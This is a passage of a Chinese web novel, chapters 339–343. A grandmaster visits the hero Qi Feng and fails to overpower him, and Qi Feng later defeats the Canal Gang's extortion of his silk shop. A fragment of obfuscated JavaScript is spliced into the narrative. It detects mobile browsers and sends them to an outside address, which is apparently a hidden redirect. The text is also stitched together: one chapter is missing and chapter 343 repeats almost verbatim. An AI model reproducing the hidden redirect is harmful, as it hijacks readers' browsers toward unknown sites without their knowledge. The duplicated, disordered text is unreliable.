至于楚清秋,这段时间,齐枫有意让她在后方和小荷做一些无关紧要的小事,本意嘛,当然是养胎了。
有小荷这个开心果在,楚清秋也不会悲伤。
忽然,一股无形的、令人心悸的压抑感,如同潮水般毫无征兆地弥漫开来,笼罩了整个锦绣阁前厅。
原本喧闹的厅堂瞬间安静下来,正在挑选丝绸的客人们不约而同地感到一阵呼吸不畅,仿佛胸口压上了一块巨石,一种源自生命本能的恐惧感让他们噤若寒蝉。
南宫玥和柳若雪同时抬起头,美眸中闪过一丝惊疑。
她们都是心思敏锐之人,立刻察觉到这绝非寻常!
只见门口的光线一暗,一个身影缓步走了进来。
来人是一位老者,看不出具体年纪,头发灰白,面容清癯,穿着一身浆洗得发白的灰色布袍,脚下是一双普通的千层底布鞋,打扮得如同一个落魄的老学究。
但他那双眼睛,却如同两口深不见底的古井,开阖之间,精光隐现,偶尔流转过的一丝厉芒,让人不敢直视。
他走得很慢,步伐沉稳,每一步落下,都仿佛与周围的环境融为一体,带着一种奇异的韵律。
他并没有刻意释放气势,但那自然而然散发出的渊渟岳峙般的气度,却让整个大厅的空气都似乎变得粘稠起来。
这是一位宗师!而且绝非普通的先天宗师!
老者目光平淡地扫过大厅,那些被他目光扫过的客人,无不感到一股寒意从心底升起,下意识地低下头,不敢与之对视。
他的目光最终落在了南宫玥和柳若雪身上,停留了一瞬,微微颔首,算是打过招呼,并未因两人的绝色容颜而有丝毫动容。
"老朽姓穆,自京城而来。"老者的声音不高,却清晰地传入每个人的耳中,带着一种金属摩擦般的质感,平淡中蕴含着不容置疑的力量,"听闻齐枫齐公子在此,特来拜访,烦请通报。"
他的语气算不上客气,但也谈不上无礼,更像是一种居高临下的知会。
南宫玥强压下心中的悸动,上前一步,盈盈一礼,不卑不亢地道:"原来是穆老先生,失敬。齐郎正在后院处理事务,不知老先生拜访,所为何事?可否由小女子先行转达?"
老者看了南宫玥一眼,目光中闪过一丝不易察觉的欣赏,但语气依旧平淡:"不必。老朽此行,只为见齐公子本人。有些话,需当面与他分说。"
他的态度很明确,不见到正主,绝不会离开。
柳若雪悄悄对旁边一个机灵的伙计使了个眼色,那伙计会意,连忙悄无声息地退向后院。
就在这时,周子陵和徐远、陈玉堂三人恰好从外面回来。
一进大厅,周子陵就感受到了那股令人窒息的压抑感,也看到了那位气质非凡的灰衣老者。
他性子直,见对方态度似乎有些倨傲,加上最近齐枫威势正盛,他作为兄弟也与有荣焉,便忍不住开口。
"喂,老头儿!你谁啊?找齐兄有什么事?齐兄忙着呢,可不是什么阿猫阿狗想见就能见的!"
此话一出,南宫玥和柳若雪脸色顿时一变,暗叫不好!
那灰衣老者闻言,缓缓转过头,目光落在周子陵身上。
没有怒意,没有杀气,只是那么平淡地看着。
周子陵却感觉仿佛被一头史前凶兽盯上,一股无法形容的恐怖压力瞬间降临!
他周
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围的空气仿佛凝固了,将他死死禁锢在原地,连一根手指都无法动弹!
他想开口,却发现喉咙像是被扼住,发不出任何声音!
只有无边的恐惧,如同冰冷的潮水,瞬间淹没了他所有的意识!
他的脸色以肉眼可见的速度变得惨白,冷汗瞬间湿透了后背,双腿不受控制地微微颤抖起来,眼看就要瘫软在地!
徐远和陈玉堂也感受到了那股可怕的威压,虽然主要不是针对他们,但也让他们呼吸困难,脸色发白,想要上前帮忙,却发现自己连迈出一步都无比艰难!
这就是宗师之威!仅仅一个眼神,就足以让寻常武者心神崩溃!
就在周子陵即将支撑不住,意志濒临崩溃的边缘时,一个平和的声音如同春风化雨般悄然在大厅中响起,瞬间驱散了那令人窒息的威压。
"穆宗师大驾光临,有失远迎,还望恕罪。朋友无知,冲撞了宗师,齐某在此代他赔个不是。"
随着话音,齐枫的身影出现在通往后院的廊道口。
他依旧是一身青衫,神色从容,缓步走来,仿佛没有感受到丝毫压力。
他看到周子陵那副狼狈的模样,随手轻轻一拂。
一股温和的力量涌入周子陵体内,瞬间抚平了他翻腾的气血和濒临崩溃的心神。
周子陵猛地喘了几口粗气,如同溺水之人获救,惊魂未定地看向齐枫,又恐惧地瞥了一眼那灰衣老者,再也不敢多说半个字。
灰衣老者目光第一次真正落在了齐枫身上,那古井无波的眼中,终于泛起了一丝细微的涟漪。
他刚才虽未全力施为,但那份精神威压,也绝非寻常先天武者能够轻易承受甚至化解的。
而这个年轻人,不仅自身浑然无事,还能如此轻描淡写地化解他施加在别人身上的压力。
此子,果然不凡!
"无妨。"穆宗师淡淡开口,算是揭过了周子陵无礼之事,他看着齐枫,"你便是齐枫?"
第三百三十九章 宗师上门
"正是晚辈。"齐枫拱手,态度不卑不亢,"不知穆宗师远道而来,有何指教?此处非谈话之所,还请宗师移步后院书房。"
"可。"穆宗师言简意赅。
齐枫对南宫玥和柳若雪投去一个安抚的眼神,便引着穆宗师向后院走去。
直到两人的身影消失在廊道尽头,大厅内那令人窒息的压抑感才彻底消失。
所有人都长长松了一口气,仿佛刚从鬼门关走了一遭,互相看着,眼中都充满了后怕和震惊。
"我的娘诶……那老头到底是什么人?太可怕了!"一个客人拍着胸口,心有余悸。
"光是站在那里,我就感觉喘不过气来了……"
"连周公子那样的人物,一个眼神就差点……这就是宗师吗?"
"齐公子竟然能跟他平起平坐地说话……真是太厉害了!"
南宫玥和柳若雪对视一眼,都看到了对方眼中的担忧。
这位穆宗师,来者不善!而且其修为,恐怕远超之前遇到的任何对手!齐郎他……能应付得了吗?
后院书房内,香茗袅袅。
齐枫与穆宗师相对而坐。
富贵如同往常一样,沉默地侍立在角落,但他的身体微微紧绷,显示着他对这位不速之客的极度警惕。
"穆宗师,请用茶。"齐枫将一杯沏好的茶推到对方面前。
穆宗师并未动茶杯,他目光平静地看着齐枫,直接开门见山:"老朽穆人清,受人之托,前来府城。"
他顿了顿,观察着齐枫的反应,见对方依旧神色平静,便继续道:"其一,林府之事,你做得有些过了。林天傲纵有千般不是,终究是林尚书嫡孙,你让他身败名裂,狼狈归京,等于打了林家的脸。林尚书虽未明言,但心中芥蒂已生。"
齐枫淡淡一笑:"穆宗师此言差矣。若非林天傲屡次三番挑衅,试图断我生计,欺我友人,齐某也不会出手反击。凡事有因才有果,若说打脸,也是他林家自己把脸伸过来的。齐某行事,但求问心无愧。"
穆人清不置可否,继续道:"其二,北境之事,想必你已听闻。"
齐枫目光微动,点了点头:"略有耳闻。"
"乾朝余孽,其心可诛。"穆人清的语气依旧平淡,但话语中的内容却如同惊雷。
"朝廷已派大军平叛,不日便可收复失地。但据查,乾朝余孽暗中势力与江南多有联系。而你,齐枫,崛起于江南,与幽冥教屡有冲突,又恰在此时名声大噪……难免不引人联想。"
他的目光变得锐利了几分,如同实质般落在齐枫身上:"老朽想知道,你与那乾朝势力,究竟有无瓜葛?"
此言一出,书房内的气氛瞬间变得剑拔**张!
角落的富贵,手已经悄然按在了腰间的短刃之上。
这已不仅仅是询问,更是一种审问和试探!直接将齐枫与乾朝余孽联系在一起,其心可诛!
书房内,空气仿佛凝固了。
穆人清那看似平淡,实则锋利如刀的问题,如同惊雷般在室内炸响。
他将齐枫与北境叛乱的乾朝余孽霍天都直接联系起来,这已不仅仅是试探,更是一种极其严厉的指控!若坐实,便是抄家灭族的大罪!
角落里的富贵,身体已然紧绷到了极点,如同蓄势待发的猎豹,眼神死死锁定穆人清,只要对方稍有异动,他便会毫不犹豫地扑上去,哪怕明知是螳臂当车。
身处风暴中心的齐枫,却依旧平静得令人难以置信。
他甚至没有因为这诛心之问而有丝毫动容,只是缓缓端起自己面前的茶杯,轻轻吹了吹浮沫,呷了一口,动作从容不迫。
放下茶杯,他方才抬起眼帘,迎向穆人清那锐利如鹰隼的目光,嘴角甚至还带着一丝若有若无的淡然笑意。
"穆宗师此言,更是谬矣。"
他的声音不高,却清晰沉稳,带着一种让人奇异的安定力量。
"齐某生于斯,长于斯,寒窗苦读,侥幸得中春闱榜首,蒙陛下不弃,特召入京。此乃
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人尽皆知之事。"
齐枫语气平缓,如同在陈述一个再简单不过的事实,"至于北境,乾朝余孽,与齐某相隔何止千里?素昧平生,毫无交集。穆宗师仅因齐某恰在江南,略有薄名,便将我与那叛乱之徒强行牵扯……此等逻辑,请恕齐某不敢苟同。"
他顿了顿,目光变得清亮而坦荡,直视穆人清:"莫非在穆宗师看来,但凡身处江南,又有些许名声者,便都与乾朝有染?那这江南之地,士绅商贾何其多也,莫非人人皆可疑?”
“若依此论,恐怕朝中诸位大人,第一个便不答应吧?毕竟,江南赋税,半壁江山,牵连之广,恐非穆宗师一言可定。"
这一番反驳,有理有据,不卑不亢。
先是表明自身根底清白,与乾朝余孽毫无关系,接着指出对方逻辑荒谬,牵连过广,最后更是隐隐点出,若按此论调,将动摇江南根本,牵扯太大,绝非他一个宗师能够承担得起的。
穆人清眼中精光一闪,他没想到齐枫言辞如此犀利,瞬间就抓住了他话语中的漏洞,并且反将一军!此子不仅实力不凡,心智更是机敏过人!
"巧言令色。"穆人清冷哼一声,并未在这一点上继续纠缠,他深知没有证据,仅凭猜测确实难以服众。
但他今日前来,本就不是为了讲道理。
他话锋一转,态度却是越来越强硬:"无论你如何辩解,林天傲之事,北境之疑,你皆脱不开干系。老朽受人之托,需给你一个教训,也好让你知道,天外有天,人外有人,年少成名,更需懂得收敛锋芒。"
话音落下,一股远比之前在大厅时更加磅礴、更加恐怖的威压,如同实质的山岳,轰然降临!
这一次,不再是针对某个人,而是笼罩了整个书房,重点压向了齐枫!
刹那间,书房内的空间仿佛都扭曲了一下!空气变得粘稠如胶,书架上的书籍无风自动,发出"哗啦啦"的声响,桌上的茶杯剧烈震颤,茶水荡漾而出!
第三百四十章 此子,恐怖!
角落里的富贵闷哼一声,只觉得仿佛有万钧重担压在身上,骨骼都在发出不堪重负的**,他拼命运转内力抵抗,才勉强没有跪下去,但脸色已然煞白!
这便是宗师之威!全力施为之下,足以影响周遭环境,让低阶武者心神俱丧,生不出丝毫反抗之心!
穆人清端坐不动,灰袍无风自动,猎猎作响。
他目光如电,锁定齐枫,要看他在自己这全力威压之下,是如何的狼狈不堪,是如何的屈膝求饶!
他要彻底碾碎这个年轻人的傲气,让他知道,在绝对的实力面前,一切心机算计都是徒劳!
可他预想中的场面并未出现。
面对这足以让寻常先天高手崩溃的恐怖威压,齐枫依旧安坐于椅中,身形挺拔如松,连衣角都未曾拂动一下。
他周身仿佛有一层无形无质的气场,将那股磅礴的威压悄然化解于无形。
他甚至还有闲暇,伸出手,轻轻按住了那只剧烈震颤、即将倾倒的茶杯,使其平稳下来。
然后,他抬起头,看向面露惊容的穆人清,带着一丝淡淡的嘲讽:
"穆宗师,这便是你所谓的''教训''?倚老卖老,以势压人?"
"你!"穆人清脸色微变,心中震撼无以复加!他全力施展的威压,竟然对此子毫无作用?!
这怎么可能?!就算此子也是宗师,如此年轻,根基必然不如自己深厚,怎么可能如此轻易地抵挡?!
齐枫缓缓站起身。
就在他起身的刹那,一股截然不同的气势,以他为中心,轰然爆发!
这股气势,并非穆人清那般霸道凌厉,充满了压迫感。
它更加内敛,更加深邃,如同浩瀚的星空,无边无际,又如同沉寂的深海,表面平静,内里却蕴含着足以吞噬一切的恐怖力量!
这股气势升起,并未主动攻击,只是自然而然地存在,便将穆人清那如山岳般的威压,如同春风化雪般,悄然抵消、驱散!
书房内那令人窒息的感觉瞬间消失,取而代之的是一种难以言喻的平和与……宏大!
富贵只觉得身上一轻,差点踉跄跌倒,他惊骇地看向齐枫的背影,眼中充满了难以置信的崇拜。
少爷他……竟然已经强到了这种地步?!
穆人清"噌"地一下站了起来,脸上第一次露出了凝重无比的神色!
他死死地盯着齐枫,仿佛要将他从里到外看透!
"你……你究竟是谁?!"穆人清的声音带着一丝自己都未察觉的干涩。
他行走天下数十载,会过的宗师不在少数,但从未见过如此年轻,气息又如此古怪而强大的宗师!这绝不是一个普通春闱榜首该有的实力!
齐枫负手而立,与穆人清隔桌相望,气势上非但不落下风,反而隐隐有种反客为主的意味。
他并未回答穆人清的问题,而是反问。
"穆宗师,现在,你觉得还有必要给齐某这个''教训''吗?"
穆人清脸色变幻不定,他发现自己完全看不透这个年轻人。
对方的实力深不可测,其背景恐怕也绝非表面看起来那么简单。
继续强行出手,先不说胜负难料,就算赢了,恐怕也会结下一个可怕的仇敌,若是输了……那他穆人清一世英名,就将毁于一旦!
权衡利弊,他今日的目的,恐怕是难以达成了。
"好!好一个齐枫!"穆人清深吸一口气,强行压下心中的惊涛骇浪,深深地看了齐枫一眼,"果然是英雄出少年!老朽……领教了!"
他不再多言,知道今日已讨不到任何便宜,甚至可能踢到了铁板。
他对着齐枫拱了拱手,算是认可了对方的实力,随即转身,步履依旧沉稳,但细看之下,却比来时快了几分,很快便消失在书房门外。
来得突然,去得也干脆。
直到穆人清的气息彻底消失在感知范围内,齐枫周身那浩瀚的气势才缓缓收敛。
他重新坐回椅子上,脸色平静,仿佛刚才那场无形的交锋从未发生过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16541507|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>"少爷,您没事吧?"富贵连忙上前,关切地问道。
"无妨。"齐枫摆了摆手,目光深邃地看向窗外,"一位宗师中期的高手……看来,京城那边,有些人已经坐不住了。林家……或者说,林家背后的人,终于忍不住要亲自下场试探了。"
他嘴角勾起一抹冷冽的弧度。
"也好。省得我一个个去找。"
穆人清离开府城的速度,比他来时更快。这位成名已久的宗师,甚至没有在府城多做一刻停留,便如同惊鸿般悄然远去。
可他此次府城之行,以及其在锦绣阁与齐枫那场不为人知、却凶险万分的气势交锋,所产生的影响,却依旧还是以惊人的速度向着大景王朝的权力中心扩散。
数日之后,京城,林府。
书房内,檀香袅袅。
吏部尚书林文渊坐在太师椅上,面容清癯,眼神深邃,带着久居上位的威严。
他听着面前心腹管家的低声汇报,手指无意识地敲击着紫檀木桌面。
"穆宗师已于三日前返回京城,他……他并未多言,只让老奴转告老爷一句话。"管家小心翼翼地说道,额角见汗。
"说。"林文渊语气平淡。
"穆宗师说……''此子深不可测,非池中之物,林家……好自为之''。"管家几乎是硬着头皮复述完这句话。
书房内陷入了一片死寂。
林文渊敲击桌面的手指骤然停下,眼中闪过一丝难以置信的惊芒,随即化为一片深沉的凝重。
穆人清的实力,他是清楚的。
宗师中期,放眼整个大景,也是排得上号的顶尖高手。
他亲自前往府城,本意是替林家找回场子,顺便试探一下那个叫齐枫的年轻人的底细。没想到,带回的竟是这样一个消息!
"深不可测,非池中之物……"林文渊缓缓重复着这八个字,每一个字都仿佛有千钧之重。
能让眼高于顶的穆人清给出如此评价,那个齐枫……究竟是何方神圣?!
第三百四十二章 漕帮刁难
年关将近,府城的年味渐渐浓郁起来。
虽然北境战事和朝堂风云给这个冬天蒙上了一层阴影,但普通百姓的生活总要继续,采买年货、准备祭祀,街面上依旧热闹非凡。
锦绣阁的生意也迎来了一年中最红火的时候。各地客商蜂拥而至,订单如雪片般飞来,尤其是新推出的、用特殊工艺织造、在阳光下能泛出流彩的"霓裳锦",更是有价无市,一匹难求。
南宫玥和柳若雪忙得不可开交,连带着整个锦绣阁的伙计们都脚不沾地。
可就在这生意鼎盛之际,一个不大不小的麻烦,却悄然而至。
这一日,负责运输的管事急匆匆地找到南宫玥,脸上满是焦急之色:"东家,不好了!我们运往江宁府的那三大船霓裳锦,还有一批送往杭州的顶级生丝,在运河上被漕帮的人给扣下了!"
"漕帮?"南宫玥秀眉微蹙,"为何扣下?可问了缘由?"
管事苦着脸道:"问了,漕帮那边的人说,我们的货船超重,不符合漕运规矩,要扣船罚款!可咱们的船明明是按照标准装载的,往年也都是这么运的,从未出过问题!而且他们开口就要五千两银子的罚款,这……这分明是故意刁难!"
"五千两?"一旁的柳若雪闻言,脸色也沉了下来。
这简直是狮子大开口!分明是看锦绣阁生意火爆,趁机敲诈!
南宫玥沉吟片刻,问道:"可知是漕帮哪一路的人马?领头的是谁?"
"是漕帮江宁分舵的人,领头的是分舵副舵主,名叫蒋坤,外号翻江鳄,是个难缠的角色。"管事显然打听过。
"蒋坤……"南宫玥对这个名字有些印象,此人是漕帮悍将,行事霸道,贪财好利。
她想了想,道:"你先带足银子,去交涉一下,看看能否将罚款降低一些,尽快放行。年关将至,客商们都等着货,耽误不起。"
"是,东家。"管事领命而去。
然而,到了傍晚,管事却鼻青脸肿、垂头丧气地回来了。
"东家!那蒋坤根本不讲道理!属下好话说尽,愿意奉上一千两茶水钱,可他非但不肯放行,还说……还说五千两一分不能少,而且还要咱们锦绣阁以后每年孝敬他们分舵一万两''平安钱''。”
“否则,咱们的货船就别想顺利通过运河!属下争辩了几句,就被他们的人给打了!"管事哭丧着脸汇报,脸上还带着清晰的巴掌印。
"岂有此理!"饶是南宫玥性子沉稳,此刻也不禁动了真怒。
这已经不是敲诈,而是明抢了!
漕帮虽然势大,但如此欺上门来,真当锦绣阁是软柿子吗?
柳若雪更是气得俏脸含霜:"漕帮也太过分了!真以为这运河是他们家开的不成?姐姐,此事绝不能妥协,否则以后谁都敢来踩我们一脚!"
南宫玥点了点头,美眸中闪过一丝冷意:"看来,是有人见我们生意太好,眼红了。蒋坤区区一个分舵副舵主,未必有这么大的胆子,背后恐怕有人指使。"
她立刻让人去请周子陵和徐远过来商议。
如今齐枫大多时间都在静修或处理更重要的事务,阁中日常生意都由她和柳若雪主持,遇到棘手事情,也会与周子陵这些齐枫的核心兄弟商量。
周子陵和徐远很快赶到,听闻此事,周子陵当场就炸了:"妈的!漕帮那群水老鼠,竟敢欺负到我们头上!齐兄在的时候他们屁都不敢放一个,现在看齐兄潜心修炼,就以为我们好欺负了?我这就带人去把货抢回来!"
徐远相对冷静,拉住冲动的周子陵,分析道:"子陵,稍安勿躁。漕帮掌控运河漕运,势力盘根错节,硬抢并非上策。而且此事颇为蹊跷,蒋坤虽然贪婪,但以往也不敢如此明目张胆地敲诈大商户,更何况是我们锦绣阁。我怀疑……背后可能有人撑腰。"
"有人撑腰?谁?"周子陵瞪眼。
南宫玥沉吟道:"
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或许是林家余孽,或许是其他眼红我们生意的对头,甚至……可能是漕帮总舵某些人的意思。"
就在几人商议对策之时,齐枫的声音从门外传来:"不必猜了。"
几人回头,只见齐枫不知何时已站在门口,神色平静。
"齐兄!"
"齐郎!"
众人连忙起身。
齐枫走进来,看了一眼脸上带伤的管事,问道:"伤势如何?"
那管事受宠若惊,连忙道:"回公子,只是皮外伤,不碍事。"
齐枫点了点头,对南宫玥道:"此事我已知晓。蒋坤不过是个马前卒,真正的主使,是漕帮总舵的三长老,裘万山。"
"裘万山?"南宫玥若有所思,"我听说过此人,据说与京城某些权贵关系密切,在漕帮内权势不小。他为何要与我们为难?"
齐枫淡淡道:"有人给他送了一份厚礼,外加一个承诺。礼,是五万两白银;承诺,是助他争夺下一任漕帮帮主之位。"
"是谁?"周子陵急问。
"林天傲的舅舅,京城卫尉寺少卿,赵叔文。"齐枫语气平淡,却让在场众人都倒吸一口凉气!
没想到林天傲都滚回京城了,他背后的人还不肯罢休!竟然动用官面上的关系,勾结漕帮高层,来给锦绣阁下绊子!
"好阴险的手段!"柳若雪恨声道,"利用漕帮来卡我们的货运,这是要断我们的根基啊!"
南宫玥也面露忧色:"若是漕帮总舵三长老的意思,恐怕事情就棘手了。漕帮势力庞大,掌控南北漕运命脉,若是他们铁了心为难我们,我们的生意恐怕……"
"无妨。"齐枫摆了摆手,语气依旧平静,"区区一个裘万山,还翻不起什么浪花。"
他看向众人,吩咐道:"玥儿,你以锦绣阁的名义,正式发文给漕帮总舵,质问他们扣押我货船、打伤我人员一事,要求他们立刻放船道歉,并严惩蒋坤。措辞可以强硬一些。"
第三百四十三章 翻手为云
南宫玥有些迟疑:"齐郎,如此强硬,万一漕帮总舵碍于裘万山的颜面,偏袒他们……"
"他们不敢。"齐枫嘴角勾起一抹冷冽的弧度,"同时,子陵,你以我的名义,去拜访一下漕帮帮主,''铁索横江''杜老爷子,就说我齐枫,三日后在''望江楼''设宴,请他老人家务必赏光。顺便,把这封信交给他。"
齐枫将一封早已准备好的信递给周子陵。
周子陵虽然不明所以,但对齐枫是百分百信任,接过信道:"齐兄放心,我一定送到!"
徐远若有所思:"齐兄是要……绕过裘万山,直接与杜帮主对话?"
齐枫点了点头:"杜老爷子是明白人,他知道该怎么选。"
众人见齐枫成竹在胸,虽然心中仍有疑虑,但也安心了不少。
……
三日后,望江楼天字一号雅间"听潮阁"。
这一次,雅间内的气氛与林天傲那次截然不同。
齐枫独自一人,悠闲地品着茶。
窗外,大江东去,烟波浩渺。
时辰将至,楼梯口传来沉稳的脚步声。
门开,一位身材高大、精神矍铄、须发皆白的老者走了进来。
他穿着普通的褐色布袍,但龙行虎步之间,自带一股不怒自威的气势,正是漕帮帮主,"铁索横江"杜振山。
他身后,只跟着一个沉默寡言的中年随从。
"杜老爷子大驾光临,齐某有失远迎。"齐枫起身,拱手为礼。
杜振山锐利的目光在齐枫身上扫过,哈哈一笑,声若洪钟:"齐公子客气了!老夫久闻公子大名,如雷贯耳,今日得见,果然名不虚传!"
两人分宾主落座。
杜振山也不绕弯子,直接道:"齐公子的信,老夫已经看了。公子在信中提及的……关于裘老三的一些''趣事'',可是当真?"
他目光灼灼地盯着齐枫。
齐枫微微一笑,替杜振山斟上一杯酒:"杜老爷子执掌漕帮数十年,耳目通天,有些事情,想必早有察觉,只是苦无实证罢了。齐某不过是将一些散落的珠子,串了起来而已。"
他所说的"趣事",自然是指裘万山这些年来贪墨漕银、勾结官府、暗中培养私人武力,甚至与幽冥教都有过一些不清不楚接触的证据。
这些证据,一部分是齐枫通过自己的情报网络查到的,另一部分,则是霍天都那边提供的关于幽冥教外围势力的信息。
杜振山脸色不变,但眼神却凝重了几分。
齐枫信中提及的事情,有些他知道,有些他也有所怀疑,但确实如齐枫所说,缺乏关键证据。
而齐枫此刻如此笃定,显然手中掌握的东西,比他想象的还要多。
"齐公子将这些告知老夫,意欲何为?"杜振山沉声问道。
"很简单。"齐枫放下酒壶,目光平静地看着杜振山,"第一,请杜老爷子主持公道,立刻释放我被扣的货船,严惩蒋坤,并保证日后漕帮任何人,不得再为难我锦绣阁。"
"这是自然。"杜振山毫不犹豫地答应,"此事本就是裘老三胡作非为,坏了漕帮规矩,老夫定会给齐公子一个满意的交代!"
"第二,"齐枫继续道,"我希望与漕帮,与杜老爷子您,建立长期的合作关系。锦绣阁的货物漕运,愿意支付合理的费用,但也希望得到漕帮最高级别的安全保障和优先通行权。"
杜振山眼中精光一闪,这等于是一份稳定的、数额巨大的长期订单,对漕帮来说也是好事。
他点头:"合则两利,此事可议。"
"第三,"齐枫身体微微前倾,声音压低了些,"作为回报,齐某可以将手中关于裘万山的……所有证据,副本交给杜老爷子。想必老爷子清理门户,正需要这些东西。"
杜振山心中一震,深深地看着齐枫。
他明白,这是交换,也是投名状。
齐枫帮他除掉裘万山这个心腹大患,稳固帮主之位,而他杜振山,则需承这份情,并与齐枫结盟。
权衡利弊,这对
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自己有百利而无一害。
裘万山近年来野心勃勃,仗着京城的关系,屡屡挑战他的权威,他早就想除之而后快。
只是碍于其势力盘根错节,以及京城那边的压力,一直未能动手。
如今有齐枫提供的证据,再加上齐枫本身展现出的实力和潜力……
杜振山猛地一拍桌子,震得酒杯乱晃:"好!齐公子快人快语,老夫也不矫情!此事,就依公子所言!从今日起,齐公子便是我杜振山的朋友,锦绣阁的货,就是我漕帮的贵客!谁敢再动,就是与我杜振山为敌!"
"杜老爷子爽快!"齐枫举杯,"合作愉快!"
"合作愉快!"
两只酒杯在空中相碰,发出清脆的响声。
一场看似棘手的危机,就在这推杯换盏间,被齐枫轻描淡写地化解,并且反过来将漕帮帮主拉入了自己的阵营。
消息很快传回。
当天下午,被扣押的货船就被无条件释放,蒋坤被当场革去副舵主之位,重打五十棍,扔进了运河里喂鱼。
裘万山在总舵试图反抗,却被杜振山以雷霆手段**,齐枫提供的证据成为压垮他的最后一根稻草,其势力被连根拔起,本人则被废去武功,囚禁于漕帮水牢之中。
锦绣阁的货物不仅顺利通行,此后更是得到了漕帮的特别关照,一路畅通无阻。
而齐枫,几乎兵不血刃,就粉碎了一场阴险的算计,并且将掌控南北漕运命脉的漕帮,变成了自己的盟友。
经此一事,那些暗中窥伺、蠢蠢欲动的势力,再次见识到了齐枫那翻手为云、覆手为雨的可怕手段,纷纷偃旗息鼓,再不敢轻易招惹。
府城,依旧是齐枫的府城。
漕帮风波平息后,府城迎来了入冬后的第一场大雪。
鹅毛般的雪花纷纷扬扬落下,一夜之间,便将整座城市染成了银装素裹的世界。
屋檐下挂起了冰凌,街道上积了厚厚的雪,孩子们欢快地在雪地里奔跑嬉戏,给这肃杀的冬季增添了几分鲜活的气息。
第三百四十三章 翻手为云
南宫玥有些迟疑:"齐郎,如此强硬,万一漕帮总舵碍于裘万山的颜面,偏袒他们……"
"他们不敢。"齐枫嘴角勾起一抹冷冽的弧度,"同时,子陵,你以我的名义,去拜访一下漕帮帮主,''铁索横江''杜老爷子,就说我齐枫,三日后在''望江楼''设宴,请他老人家务必赏光。顺便,把这封信交给他。"
齐枫将一封早已准备好的信递给周子陵。
周子陵虽然不明所以,但对齐枫是百分百信任,接过信道:"齐兄放心,我一定送到!"
徐远若有所思:"齐兄是要……绕过裘万山,直接与杜帮主对话?"
齐枫点了点头:"杜老爷子是明白人,他知道该怎么选。"
众人见齐枫成竹在胸,虽然心中仍有疑虑,但也安心了不少。
……
三日后,望江楼天字一号雅间"听潮阁"。
这一次,雅间内的气氛与林天傲那次截然不同。
齐枫独自一人,悠闲地品着茶。
窗外,大江东去,烟波浩渺。
时辰将至,楼梯口传来沉稳的脚步声。
门开,一位身材高大、精神矍铄、须发皆白的老者走了进来。
他穿着普通的褐色布袍,但龙行虎步之间,自带一股不怒自威的气势,正是漕帮帮主,"铁索横江"杜振山。
他身后,只跟着一个沉默寡言的中年随从。
"杜老爷子大驾光临,齐某有失远迎。"齐枫起身,拱手为礼。
杜振山锐利的目光在齐枫身上扫过,哈哈一笑,声若洪钟:"齐公子客气了!老夫久闻公子大名,如雷贯耳,今日得见,果然名不虚传!"
两人分宾主落座。
杜振山也不绕弯子,直接道:"齐公子的信,老夫已经看了。公子在信中提及的……关于裘老三的一些''趣事'',可是当真?"
他目光灼灼地盯着齐枫。
齐枫微微一笑,替杜振山斟上一杯酒:"杜老爷子执掌漕帮数十年,耳目通天,有些事情,想必早有察觉,只是苦无实证罢了。齐某不过是将一些散落的珠子,串了起来而已。"
他所说的"趣事",自然是指裘万山这些年来贪墨漕银、勾结官府、暗中培养私人武力,甚至与幽冥教都有过一些不清不楚接触的证据。
这些证据,一部分是齐枫通过自己的情报网络查到的,另一部分,则是霍天都那边提供的关于幽冥教外围势力的信息。
杜振山脸色不变,但眼神却凝重了几分。
齐枫信中提及的事情,有些他知道,有些他也有所怀疑,但确实如齐枫所说,缺乏关键证据。
而齐枫此刻如此笃定,显然手中掌握的东西,比他想象的还要多。
"齐公子将这些告知老夫,意欲何为?"杜振山沉声问道。
"很简单。"齐枫放下酒壶,目光平静地看着杜振山,"第一,请杜老爷子主持公道,立刻释放我被扣的货船,严惩蒋坤,并保证日后漕帮任何人,不得再为难我锦绣阁。"
"这是自然。"杜振山毫不犹豫地答应,"此事本就是裘老三胡作非为,坏了漕帮规矩,老夫定会给齐公子一个满意的交代!"
"第二,"齐枫继续道,"我希望与漕帮,与杜老爷子您,建立长期的合作关系。锦绣阁的货物漕运,愿意支付合理的费用,但也希望得到漕帮最高级别的安全保障和优先通行权。"
杜振山眼中精光一闪,这等于是一份稳定的、数额巨大的长期订单,对漕帮来说也是好事。
他点头:"合则两利,此事可议。"
"第三,"齐枫身体微微前倾,声音压低了些,"作为回报,齐某可以将手中关于裘万山的……所有证据,副本交给杜老爷子。想必老爷子清理门户,正需要这些东西。"
杜振山心中一震,深深地看着齐枫。
他明白,这是交换,也是投名状。
齐枫帮他除掉裘万山这个心腹大患,稳固帮主之位,而他杜振山,则需承这份情,并与齐枫结盟。
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裘万山近年来野心勃勃,仗着京城的关系,屡屡挑战他的权威,他早就想除之而后快。
只是碍于其势力盘根错节,以及京城那边的压力,一直未能动手。
如今有齐枫提供的证据,再加上齐枫本身展现出的实力和潜力……
杜振山猛地一拍桌子,震得酒杯乱晃:"好!齐公子快人快语,老夫也不矫情!此事,就依公子所言!从今日起,齐公子便是我杜振山的朋友,锦绣阁的货,就是我漕帮的贵客!谁敢再动,就是与我杜振山为敌!"
"杜老爷子爽快!"齐枫举杯,"合作愉快!"
"合作愉快!"
两只酒杯在空中相碰,发出清脆的响声。
一场看似棘手的危机,就在这推杯换盏间,被齐枫轻描淡写地化解,并且反过来将漕帮帮主拉入了自己的阵营。
消息很快传回。
当天下午,被扣押的货船就被无条件释放,蒋坤被当场革去副舵主之位,重打五十棍,扔进了运河里喂鱼。
裘万山在总舵试图反抗,却被杜振山以雷霆手段**,齐枫提供的证据成为压垮他的最后一根稻草,其势力被连根拔起,本人则被废去武功,囚禁于漕帮水牢之中。
锦绣阁的货物不仅顺利通行,此后更是得到了漕帮的特别关照,一路畅通无阻。
而齐枫,几乎兵不血刃,就粉碎了一场阴险的算计,并且将掌控南北漕运命脉的漕帮,变成了自己的盟友。
经此一事,那些暗中窥伺、蠢蠢欲动的势力,再次见识到了齐枫那翻手为云、覆手为雨的可怕手段,纷纷偃旗息鼓,再不敢轻易招惹。
府城,依旧是齐枫的府城。
